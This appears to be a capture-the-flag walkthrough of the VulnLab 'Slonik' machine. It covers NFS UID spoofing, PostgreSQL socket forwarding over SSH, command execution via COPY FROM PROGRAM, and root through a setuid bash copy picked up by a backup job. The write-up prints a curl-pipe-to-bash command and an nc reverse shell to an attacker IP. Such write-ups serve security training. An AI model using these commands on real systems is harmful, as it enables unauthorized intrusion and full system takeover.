> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/vuln-lab/slonik-vulnlab.md).

# Slonik

We find a nfs and mount it: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-c334c19c07d12d3eb263bf4b08d3aa667de5af83%2F9e26fa56d86becadcfef2cf9970410ab.png?alt=media) Service folder is owner by 1337

So we can create a user called 1337

```
sudo groupadd -g 1337 1337
sudo useradd -u 1337 -g 1337 1337
```

Then accessing the folder: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-ec5ad72f7d2379002a26211a8d4992c15b7d5256%2Ffc072b1bfd2cd495ab0292cf09fe4d4d.png?alt=media)

Now we have hash of password: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-feda4dc3209d2f5d405ac95543c60465f5fe024d%2F600c0be9f9947f1d9d2cef582445df15.png?alt=media)

Now looking at .bash\_history: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-ec90ef0e56cc17d7a75a5a903a6e8f8efac1947f%2Fa9ce92643c9dacab532726d77f1cdbd1.png?alt=media)

Now using ssh port forwarding:

```
ssh -N -L /tmp/.s.PGSQL.5432:/var/run/postgresql/.s.PGSQL.5432 service@slonik.vl
```

Now we can open postgres

```
 psql -h /tmp -U postgres
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-5b3ce757aa91072b3fa4928df7058519e95cba92%2F92b5e8d98dd005c193d8325de30a0a62.png?alt=media) Now using this [article](https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767) We can read files: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-7d7e9a112597b3ea756f72157c69f15539bbe095%2Ffc94b67852592fad6ded0a4abc6284aa.png?alt=media)Using psql oneliner:

```
service=# DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'curl <http://10.8.1.208/x> | bash';DROP TABLE IF EXISTS cmd_exec
```

Using a reverse shell command:

```
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.1.208 443 >/tmp/f';
```

Now we can get ssh access: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-f3090ae679a128265ac46ddd3807f1f295322216%2F3122eabd2b1f6edc07a9e5d7b22aec70.png?alt=media) Using pspy: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-e0082a47e984c5bdd326379c331fa2da86e022a1%2F71d412160b56a41f8d39662b5721c8b3.png?alt=media) This /usr/bin/backup: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-14187c5a078a51b07d4433600fc35d474dd233ec%2Fbe577a65f61ae6f255233b3fe69b569c.png?alt=media) Now we found the folder that was being backed up at `/var/lib/postgresql/14/main`

Now copying bash files to the directory and giving setuid bit: `cp /bin/bash mybash` `chmod u+s mybash`

Now in `/opt/backups/current/` we have mybash and executing it we get a root shell: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-f0facd77e54ad5bbec1b9b3a19a9e7ebacedcfca%2F1253232211f8474d7199ced7e8dc3ca3.png?alt=media)